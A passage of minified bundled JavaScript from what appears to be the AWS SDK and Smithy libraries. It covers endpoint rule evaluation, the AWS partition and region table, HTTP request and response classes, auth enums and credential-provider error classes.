A!=="function"?async()=>Promise.resolve(A):A,z,w,H,J=!1,O=async(X)=>{if(!w)w=Y(X);try{z=await w,H=!0,J=!1}finally{w=void 0}return z};if(K===void 0)return async(X)=>{if(!H||X?.forceRefresh)z=await O(X);return z};return async(X)=>{if(!H||X?.forceRefresh)z=await O(X);if(J)return z;if(!q(z))return J=!0,z;if(K(z))return await O(X),z;return z}};Object.defineProperty(Qg8,"requestBuilder",{enumerable:!0,get:function(){return Zj5.requestBuilder}});Qg8.DefaultIdentityProviderConfig=bg8;Qg8.EXPIRATION_MS=gg8;Qg8.HttpApiKeyAuthSigner=xg8;Qg8.HttpBearerAuthSigner=ug8;Qg8.NoAuthSigner=Bg8;Qg8.createIsIdentityExpiredFunction=mg8;Qg8.createPaginator=Ej5;Qg8.doesIdentityRequireRefresh=Fg8;Qg8.getHttpAuthSchemeEndpointRuleSetPlugin=Mj5;Qg8.getHttpAuthSchemePlugin=Pj5;Qg8.getHttpSigningPlugin=Nj5;Qg8.getSmithyContext=Wj5;Qg8.httpAuthSchemeEndpointRuleSetMiddlewareOptions=yg8;Qg8.httpAuthSchemeMiddleware=vi1;Qg8.httpAuthSchemeMiddlewareOptions=Ig8;Qg8.httpSigningMiddleware=Sg8;Qg8.httpSigningMiddlewareOptions=hg8;Qg8.isIdentityExpired=Lj5;Qg8.memoizeIdentityProvider=Rj5;Qg8.normalizeProvider=Tj5;Qg8.setFeature=Cj5});var Ug8=v((KM5)=>{KM5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(KM5.HttpAuthLocation||(KM5.HttpAuthLocation={}));KM5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(KM5.HttpApiKeyAuthLocation||(KM5.HttpApiKeyAuthLocation={}));KM5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(KM5.EndpointURLScheme||(KM5.EndpointURLScheme={}));KM5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(KM5.AlgorithmId||(KM5.AlgorithmId={}));var aj5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>KM5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>KM5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},sj5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},tj5=(A)=>{return aj5(A)},ej5=(A)=>{return sj5(A)};KM5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(KM5.FieldPosition||(KM5.FieldPosition={}));var AM5="__smithy_context";KM5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(KM5.IniSectionType||(KM5.IniSectionType={}));KM5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(KM5.RequestHandlerProtocol||(KM5.RequestHandlerProtocol={}));KM5.SMITHY_CONTEXT_KEY=AM5;KM5.getDefaultClientConfiguration=tj5;KM5.resolveDefaultRuntimeConfig=ej5});var Ky=v((EM5)=>{var Si1=Ug8();class pg8{capacity;data=new Map;parameters=[];constructor({size:A,params:K}){if(this.capacity=A??50,K)this.parameters=K}get(A,K){let q=this.hash(A);if(q===!1)return K();if(!this.data.has(q)){if(this.data.size>this.capacity+10){let Y=this.data.keys(),z=0;while(!0){let{value:w,done:H}=Y.next();if(this.data.delete(w),H||++z>10)break}}this.data.set(q,K())}return this.data.get(q)}size(){return this.data.size}hash(A){let K="",{parameters:q}=this;if(q.length===0)return!1;for(let Y of q){let z=String(A[Y]??"");if(z.includes("|;"))return!1;K+=z+"|;"}return K}}var wM5=new RegExp("^(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)){3}$"),dg8=(A)=>wM5.test(A)||A.startsWith("[")&&A.endsWith("]"),HM5=new RegExp("^(?!.*-$)(?!-)[a-zA-Z0-9-]{1,63}$"),bi1=(A,K=!1)=>{if(!K)return HM5.test(A);let q=A.split(".");for(let Y of q)if(!bi1(Y))return!1;return!0},hi1={},hCA="endpoints";function ni(A){if(typeof A!=="object"||A==null)return A;if("ref"in A)return`$${ni(A.ref)}`;if("fn"in A)return`${A.fn}(${(A.argv||[]).map(ni).join(", ")})`;return JSON.stringify(A,null,2)}class tj extends Error{constructor(A){super(A);this.name="EndpointError"}}var JM5=(A,K)=>A===K,OM5=(A)=>{let K=A.split("."),q=[];for(let Y of K){let z=Y.indexOf("[");if(z!==-1){if(Y.indexOf("]")!==Y.length-1)throw new tj(`Path: '${A}' does not end with ']'`);let w=Y.slice(z+1,-1);if(Number.isNaN(parseInt(w)))throw new tj(`Invalid array index: '${w}' in path: '${A}'`);if(z!==0)q.push(Y.slice(0,z));q.push(w)}else q.push(Y)}return q},cg8=(A,K)=>OM5(K).reduce((q,Y)=>{if(typeof q!=="object")throw new tj(`Index '${Y}' in '${K}' not found in '${JSON.stringify(A)}'`);else if(Array.isArray(q))return q[parseInt(Y)];return q[Y]},A),XM5=(A)=>A!=null,$M5=(A)=>!A,Ii1={[Si1.EndpointURLScheme.HTTP]:80,[Si1.EndpointURLScheme.HTTPS]:443},_M5=(A)=>{let K=(()=>{try{if(A instanceof URL)return A;if(typeof A==="object"&&"hostname"in A){let{hostname:G,port:Z,protocol:W="",path:D="",query:j={}}=A,M=new URL(`${W}//${G}${Z?`:${Z}`:""}${D}`);return M.search=Object.entries(j).map(([P,f])=>`${P}=${f}`).join("&"),M}return new URL(A)}catch(G){return null}})();if(!K)return console.error(`Unable to parse ${JSON.stringify(A)} as a whatwg URL.`),null;let q=K.href,{host:Y,hostname:z,pathname:w,protocol:H,search:J}=K;if(J)return null;let O=H.slice(0,-1);if(!Object.values(Si1.EndpointURLScheme).includes(O))return null;let X=dg8(z),$=q.includes(`${Y}:${Ii1[O]}`)||typeof A==="string"&&A.includes(`${Y}:${Ii1[O]}`),_=`${Y}${$?`:${Ii1[O]}`:""}`;return{scheme:O,authority:_,path:w,normalizedPath:w.endsWith("/")?w:`${w}/`,isIp:X}},GM5=(A,K)=>A===K,ZM5=(A,K,q,Y)=>{if(K>=q||A.length<q)return null;if(!Y)return A.substring(K,q);return A.substring(A.length-q,A.length-K)},WM5=(A)=>encodeURIComponent(A).replace(/[!*'()]/g,(K)=>`%${K.charCodeAt(0).toString(16).toUpperCase()}`),DM5={booleanEquals:JM5,getAttr:cg8,isSet:XM5,isValidHostLabel:bi1,not:$M5,parseURL:_M5,stringEquals:GM5,substring:ZM5,uriEncode:WM5},lg8=(A,K)=>{let q=[],Y={...K.endpointParams,...K.referenceRecord},z=0;while(z<A.length){let w=A.indexOf("{",z);if(w===-1){q.push(A.slice(z));break}q.push(A.slice(z,w));let H=A.indexOf("}",w);if(H===-1){q.push(A.slice(w));break}if(A[w+1]==="{"&&A[H+1]==="}")q.push(A.slice(w+1,H)),z=H+2;let J=A.substring(w+1,H);if(J.includes("#")){let[O,X]=J.split("#");q.push(cg8(Y[O],X))}else q.push(Y[J]);z=H+1}return q.join("")},jM5=({ref:A},K)=>{return{...K.endpointParams,...K.referenceRecord}[A]},R61=(A,K,q)=>{if(typeof A==="string")return lg8(A,q);else if(A.fn)return ng8.callFunction(A,q);else if(A.ref)return jM5(A,q);throw new tj(`'${K}': ${String(A)} is not a string, function or reference.`)},ig8=({fn:A,argv:K},q)=>{let Y=K.map((w)=>["boolean","number"].includes(typeof w)?w:ng8.evaluateExpression(w,"arg",q)),z=A.split(".");if(z[0]in hi1&&z[1]!=null)return hi1[z[0]][z[1]](...Y);return DM5[A](...Y)},ng8={evaluateExpression:R61,callFunction:ig8},MM5=({assign:A,...K},q)=>{if(A&&A in q.referenceRecord)throw new tj(`'${A}' is already defined in Reference Record.`);let Y=ig8(K,q);return q.logger?.debug?.(`${hCA} evaluateCondition: ${ni(K)} = ${ni(Y)}`),{result:Y===""?!0:!!Y,...A!=null&&{toAssign:{name:A,value:Y}}}},xi1=(A=[],K)=>{let q={};for(let Y of A){let{result:z,toAssign:w}=MM5(Y,{...K,referenceRecord:{...K.referenceRecord,...q}});if(!z)return{result:z};if(w)q[w.name]=w.value,K.logger?.debug?.(`${hCA} assign: ${w.name} := ${ni(w.value)}`)}return{result:!0,referenceRecord:q}},PM5=(A,K)=>Object.entries(A).reduce((q,[Y,z])=>({...q,[Y]:z.map((w)=>{let H=R61(w,"Header value entry",K);if(typeof H!=="string")throw new tj(`Header '${Y}' value '${H}' is not a string`);return H})}),{}),rg8=(A,K)=>Object.entries(A).reduce((q,[Y,z])=>({...q,[Y]:ag8.getEndpointProperty(z,K)}),{}),og8=(A,K)=>{if(Array.isArray(A))return A.map((q)=>og8(q,K));switch(typeof A){case"string":return lg8(A,K);case"object":if(A===null)throw new tj(`Unexpected endpoint property: ${A}`);return ag8.getEndpointProperties(A,K);case"boolean":return A;default:throw new tj(`Unexpected endpoint property type: ${typeof A}`)}},ag8={getEndpointProperty:og8,getEndpointProperties:rg8},VM5=(A,K)=>{let q=R61(A,"Endpoint URL",K);if(typeof q==="string")try{return new URL(q)}catch(Y){throw console.error(`Failed to construct URL with ${q}`,Y),Y}throw new tj(`Endpoint URL must be a string, got ${typeof q}`)},fM5=(A,K)=>{let{conditions:q,endpoint:Y}=A,{result:z,referenceRecord:w}=xi1(q,K);if(!z)return;let H={...K,referenceRecord:{...K.referenceRecord,...w}},{url:J,properties:O,headers:X}=Y;return K.logger?.debug?.(`${hCA} Resolving endpoint from template: ${ni(Y)}`),{...X!=null&&{headers:PM5(X,H)},...O!=null&&{properties:rg8(O,H)},url:VM5(J,H)}},NM5=(A,K)=>{let{conditions:q,error:Y}=A,{result:z,referenceRecord:w}=xi1(q,K);if(!z)return;throw new tj(R61(Y,"Error",{...K,referenceRecord:{...K.referenceRecord,...w}}))},sg8=(A,K)=>{for(let q of A)if(q.type==="endpoint"){let Y=fM5(q,K);if(Y)return Y}else if(q.type==="error")NM5(q,K);else if(q.type==="tree"){let Y=tg8.evaluateTreeRule(q,K);if(Y)return Y}else throw new tj(`Unknown endpoint rule: ${q}`);throw new tj("Rules evaluation failed")},TM5=(A,K)=>{let{conditions:q,rules:Y}=A,{result:z,referenceRecord:w}=xi1(q,K);if(!z)return;return tg8.evaluateRules(Y,{...K,referenceRecord:{...K.referenceRecord,...w}})},tg8={evaluateRules:sg8,evaluateTreeRule:TM5},vM5=(A,K)=>{let{endpointParams:q,logger:Y}=K,{parameters:z,rules:w}=A;K.logger?.debug?.(`${hCA} Initial EndpointParams: ${ni(q)}`);let H=Object.entries(z).filter(([,X])=>X.default!=null).map(([X,$])=>[X,$.default]);if(H.length>0)for(let[X,$]of H)q[X]=q[X]??$;let J=Object.entries(z).filter(([,X])=>X.required).map(([X])=>X);for(let X of J)if(q[X]==null)throw new tj(`Missing required parameter: '${X}'`);let O=sg8(w,{endpointParams:q,logger:Y,referenceRecord:{}});return K.logger?.debug?.(`${hCA} Resolved endpoint: ${ni(O)}`),O};EM5.EndpointCache=pg8;EM5.EndpointError=tj;EM5.customEndpointFunctions=hi1;EM5.isIpAddress=dg8;EM5.isValidHostLabel=bi1;EM5.resolveEndpoint=vM5});var eg8=v((hM5)=>{function SM5(A){let K={};if(A=A.replace(/^\?/,""),A)for(let q of A.split("&")){let[Y,z=null]=q.split("=");if(Y=decodeURIComponent(Y),z)z=decodeURIComponent(z);if(!(Y in K))K[Y]=z;else if(Array.isArray(K[Y]))K[Y].push(z);else K[Y]=[K[Y],z]}return K}hM5.parseQueryString=SM5});var tE=v((uM5)=>{var xM5=eg8(),AF8=(A)=>{if(typeof A==="string")return AF8(new URL(A));let{hostname:K,pathname:q,port:Y,protocol:z,search:w}=A,H;if(w)H=xM5.parseQueryString(w);return{hostname:K,port:Y?parseInt(Y):void 0,protocol:z,path:q,query:H}};uM5.parseUrl=AF8});var gb=v((y61)=>{var qOA=Ky(),mM5=tE(),qF8=(A,K=!1)=>{if(K){for(let q of A.split("."))if(!qF8(q))return!1;return!0}if(!qOA.isValidHostLabel(A))return!1;if(A.length<3||A.length>63)return!1;if(A!==A.toLowerCase())return!1;if(qOA.isIpAddress(A))return!1;return!0},KF8=":",gM5="/",FM5=(A)=>{let K=A.split(KF8);if(K.length<6)return null;let[q,Y,z,w,H,...J]=K;if(q!=="arn"||Y===""||z===""||J.join(KF8)==="")return null;let O=J.map((X)=>X.split(gM5)).flat();return{partition:Y,service:z,region:w,accountId:H,resourceId:O}},QM5=[{id:"aws",outputs:{dnsSuffix:"amazonaws.com",dualStackDnsSuffix:"api.aws",implicitGlobalRegion:"us-east-1",name:"aws",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^(us|eu|ap|sa|ca|me|af|il|mx)\\-\\w+\\-\\d+$",regions:{"af-south-1":{description:"Africa (Cape Town)"},"ap-east-1":{description:"Asia Pacific (Hong Kong)"},"ap-east-2":{description:"Asia Pacific (Taipei)"},"ap-northeast-1":{description:"Asia Pacific (Tokyo)"},"ap-northeast-2":{description:"Asia Pacific (Seoul)"},"ap-northeast-3":{description:"Asia Pacific (Osaka)"},"ap-south-1":{description:"Asia Pacific (Mumbai)"},"ap-south-2":{description:"Asia Pacific (Hyderabad)"},"ap-southeast-1":{description:"Asia Pacific (Singapore)"},"ap-southeast-2":{description:"Asia Pacific (Sydney)"},"ap-southeast-3":{description:"Asia Pacific (Jakarta)"},"ap-southeast-4":{description:"Asia Pacific (Melbourne)"},"ap-southeast-5":{description:"Asia Pacific (Malaysia)"},"ap-southeast-6":{description:"Asia Pacific (New Zealand)"},"ap-southeast-7":{description:"Asia Pacific (Thailand)"},"aws-global":{description:"aws global region"},"ca-central-1":{description:"Canada (Central)"},"ca-west-1":{description:"Canada West (Calgary)"},"eu-central-1":{description:"Europe (Frankfurt)"},"eu-central-2":{description:"Europe (Zurich)"},"eu-north-1":{description:"Europe (Stockholm)"},"eu-south-1":{description:"Europe (Milan)"},"eu-south-2":{description:"Europe (Spain)"},"eu-west-1":{description:"Europe (Ireland)"},"eu-west-2":{description:"Europe (London)"},"eu-west-3":{description:"Europe (Paris)"},"il-central-1":{description:"Israel (Tel Aviv)"},"me-central-1":{description:"Middle East (UAE)"},"me-south-1":{description:"Middle East (Bahrain)"},"mx-central-1":{description:"Mexico (Central)"},"sa-east-1":{description:"South America (Sao Paulo)"},"us-east-1":{description:"US East (N. Virginia)"},"us-east-2":{description:"US East (Ohio)"},"us-west-1":{description:"US West (N. California)"},"us-west-2":{description:"US West (Oregon)"}}},{id:"aws-cn",outputs:{dnsSuffix:"amazonaws.com.cn",dualStackDnsSuffix:"api.amazonwebservices.com.cn",implicitGlobalRegion:"cn-northwest-1",name:"aws-cn",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^cn\\-\\w+\\-\\d+$",regions:{"aws-cn-global":{description:"aws-cn global region"},"cn-north-1":{description:"China (Beijing)"},"cn-northwest-1":{description:"China (Ningxia)"}}},{id:"aws-eusc",outputs:{dnsSuffix:"amazonaws.eu",dualStackDnsSuffix:"api.amazonwebservices.eu",implicitGlobalRegion:"eusc-de-east-1",name:"aws-eusc",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^eusc\\-(de)\\-\\w+\\-\\d+$",regions:{"eusc-de-east-1":{description:"EU (Germany)"}}},{id:"aws-iso",outputs:{dnsSuffix:"c2s.ic.gov",dualStackDnsSuffix:"api.aws.ic.gov",implicitGlobalRegion:"us-iso-east-1",name:"aws-iso",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^us\\-iso\\-\\w+\\-\\d+$",regions:{"aws-iso-global":{description:"aws-iso global region"},"us-iso-east-1":{description:"US ISO East"},"us-iso-west-1":{description:"US ISO WEST"}}},{id:"aws-iso-b",outputs:{dnsSuffix:"sc2s.sgov.gov",dualStackDnsSuffix:"api.aws.scloud",implicitGlobalRegion:"us-isob-east-1",name:"aws-iso-b",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^us\\-isob\\-\\w+\\-\\d+$",regions:{"aws-iso-b-global":{description:"aws-iso-b global region"},"us-isob-east-1":{description:"US ISOB East (Ohio)"},"us-isob-west-1":{description:"US ISOB West"}}},{id:"aws-iso-e",outputs:{dnsSuffix:"cloud.adc-e.uk",dualStackDnsSuffix:"api.cloud-aws.adc-e.uk",implicitGlobalRegion:"eu-isoe-west-1",name:"aws-iso-e",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^eu\\-isoe\\-\\w+\\-\\d+$",regions:{"aws-iso-e-global":{description:"aws-iso-e global region"},"eu-isoe-west-1":{description:"EU ISOE West"}}},{id:"aws-iso-f",outputs:{dnsSuffix:"csp.hci.ic.gov",dualStackDnsSuffix:"api.aws.hci.ic.gov",implicitGlobalRegion:"us-isof-south-1",name:"aws-iso-f",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^us\\-isof\\-\\w+\\-\\d+$",regions:{"aws-iso-f-global":{description:"aws-iso-f global region"},"us-isof-east-1":{description:"US ISOF EAST"},"us-isof-south-1":{description:"US ISOF SOUTH"}}},{id:"aws-us-gov",outputs:{dnsSuffix:"amazonaws.com",dualStackDnsSuffix:"api.aws",implicitGlobalRegion:"us-gov-west-1",name:"aws-us-gov",supportsDualStack:!0,supportsFIPS:!0},regionRegex:"^us\\-gov\\-\\w+\\-\\d+$",regions:{"aws-us-gov-global":{description:"aws-us-gov global region"},"us-gov-east-1":{description:"AWS GovCloud (US-East)"},"us-gov-west-1":{description:"AWS GovCloud (US-West)"}}}],UM5="1.1",YF8={partitions:QM5,version:UM5},zF8=YF8,wF8="",HF8=(A)=>{let{partitions:K}=zF8;for(let Y of K){let{regions:z,outputs:w}=Y;for(let[H,J]of Object.entries(z))if(H===A)return{...w,...J}}for(let Y of K){let{regionRegex:z,outputs:w}=Y;if(new RegExp(z).test(A))return{...w}}let q=K.find((Y)=>Y.id==="aws");if(!q)throw Error("Provided region was not found in the partition array or regex, and default partition with id 'aws' doesn't exist.");return{...q.outputs}},JF8=(A,K="")=>{zF8=A,wF8=K},pM5=()=>{JF8(YF8,"")},dM5=()=>wF8,OF8={isVirtualHostableS3Bucket:qF8,parseArn:FM5,partition:HF8};qOA.customEndpointFunctions.aws=OF8;var cM5=(A)=>{if(typeof A.endpointProvider!=="function")throw Error("@aws-sdk/util-endpoint - endpointProvider and endpoint missing in config for this client.");let{endpoint:K}=A;if(K===void 0)A.endpoint=async()=>{return XF8(A.endpointProvider({Region:typeof A.region==="function"?await A.region():A.region,UseDualStack:typeof A.useDualstackEndpoint==="function"?await A.useDualstackEndpoint():A.useDualstackEndpoint,UseFIPS:typeof A.useFipsEndpoint==="function"?await A.useFipsEndpoint():A.useFipsEndpoint,Endpoint:void 0},{logger:A.logger}))};return A},XF8=(A)=>mM5.parseUrl(A.url);Object.defineProperty(y61,"EndpointError",{enumerable:!0,get:function(){return qOA.EndpointError}});Object.defineProperty(y61,"isIpAddress",{enumerable:!0,get:function(){return qOA.isIpAddress}});Object.defineProperty(y61,"resolveEndpoint",{enumerable:!0,get:function(){return qOA.resolveEndpoint}});y61.awsEndpointFunctions=OF8;y61.getUserAgentPrefix=dM5;y61.partition=HF8;y61.resolveDefaultAwsRegionalEndpointsConfig=cM5;y61.setPartitionInfo=JF8;y61.toEndpointV1=XF8;y61.useDefaultPartitionInfo=pM5});var $F8=v((YP5)=>{YP5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(YP5.HttpAuthLocation||(YP5.HttpAuthLocation={}));YP5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(YP5.HttpApiKeyAuthLocation||(YP5.HttpApiKeyAuthLocation={}));YP5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(YP5.EndpointURLScheme||(YP5.EndpointURLScheme={}));YP5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(YP5.AlgorithmId||(YP5.AlgorithmId={}));var tM5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>YP5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>YP5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},eM5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},AP5=(A)=>{return tM5(A)},KP5=(A)=>{return eM5(A)};YP5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(YP5.FieldPosition||(YP5.FieldPosition={}));var qP5="__smithy_context";YP5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(YP5.IniSectionType||(YP5.IniSectionType={}));YP5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(YP5.RequestHandlerProtocol||(YP5.RequestHandlerProtocol={}));YP5.SMITHY_CONTEXT_KEY=qP5;YP5.getDefaultClientConfiguration=AP5;YP5.resolveDefaultRuntimeConfig=KP5});var WF8=v((GP5)=>{var JP5=$F8(),OP5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},XP5=(A)=>{return{httpHandler:A.httpHandler()}};class _F8{name;kind;values;constructor({name:A,kind:K=JP5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class GF8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class I61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new I61({...A,headers:{...A.headers}});if(K.query)K.query=$P5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return I61.clone(this)}}function $P5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class ZF8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function _P5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}GP5.Field=_F8;GP5.Fields=GF8;GP5.HttpRequest=I61;GP5.HttpResponse=ZF8;GP5.getHttpHandlerExtensionConfiguration=OP5;GP5.isValidHostname=_P5;GP5.resolveHttpHandlerRuntimeConfig=XP5});var ni1=v((kP5)=>{kP5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(kP5.HttpAuthLocation||(kP5.HttpAuthLocation={}));kP5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(kP5.HttpApiKeyAuthLocation||(kP5.HttpApiKeyAuthLocation={}));kP5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(kP5.EndpointURLScheme||(kP5.EndpointURLScheme={}));kP5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(kP5.AlgorithmId||(kP5.AlgorithmId={}));var fP5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>kP5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>kP5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},NP5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},TP5=(A)=>{return fP5(A)},vP5=(A)=>{return NP5(A)};kP5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(kP5.FieldPosition||(kP5.FieldPosition={}));var EP5="__smithy_context";kP5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(kP5.IniSectionType||(kP5.IniSectionType={}));kP5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(kP5.RequestHandlerProtocol||(kP5.RequestHandlerProtocol={}));kP5.SMITHY_CONTEXT_KEY=EP5;kP5.getDefaultClientConfiguration=TP5;kP5.resolveDefaultRuntimeConfig=vP5});var h61=v((xP5)=>{var yP5=ni1(),IP5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},SP5=(A)=>{return{httpHandler:A.httpHandler()}};class DF8{name;kind;values;constructor({name:A,kind:K=yP5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class jF8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class S61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new S61({...A,headers:{...A.headers}});if(K.query)K.query=hP5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return S61.clone(this)}}function hP5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class MF8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function bP5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}xP5.Field=DF8;xP5.Fields=jF8;xP5.HttpRequest=S61;xP5.HttpResponse=MF8;xP5.getHttpHandlerExtensionConfiguration=IP5;xP5.isValidHostname=bP5;xP5.resolveHttpHandlerRuntimeConfig=SP5});var dX=v((lP5)=>{class YOA extends Error{name="ProviderError";tryNextLink;constructor(A,K=!0){let q,Y=!0;if(typeof K==="boolean")q=void 0,Y=K;else if(K!=null&&typeof K==="object")q=K.logger,Y=K.tryNextLink??!0;super(A);this.tryNextLink=Y,Object.setPrototypeOf(this,YOA.prototype),q?.debug?.(`@smithy/property-provider ${Y?"->":"(!)"} ${A}`)}static from(A,K=!0){return Object.assign(new this(A.message,K),A)}}class ri1 extends YOA{name="CredentialsProviderError";constructor(A,K=!0){super(A,K);Object.setPrototypeOf(this,ri1.prototype)}}class oi1 extends YOA{name="TokenProviderError";constructor(A,K=!0){super(A,K);Object.setPrototypeOf(this,oi1.prototype)}}var pP5=(...A)=>async()=>{if(A.length===0)throw new YOA("No providers in chain");let K;for(let q of A)try{return await q()}catch(Y){if(K=Y,Y?.tryNextLink)continue;throw Y}throw K},dP5=(A)=>()=>Promise.resolve(A),cP5=(A,K,q)=>{let Y,z,w,H=!1,J=async()=>{if(!z)z=A();try{Y=await z,w=!0,H=!1}finally{z=void 0}return Y};if(K===void 0)return async(O)=>{if(!w||O?.forceRefresh)Y=await J();return Y};return async(O)=>{if(!w||O?.forceRefresh)Y=await J();if(H)return 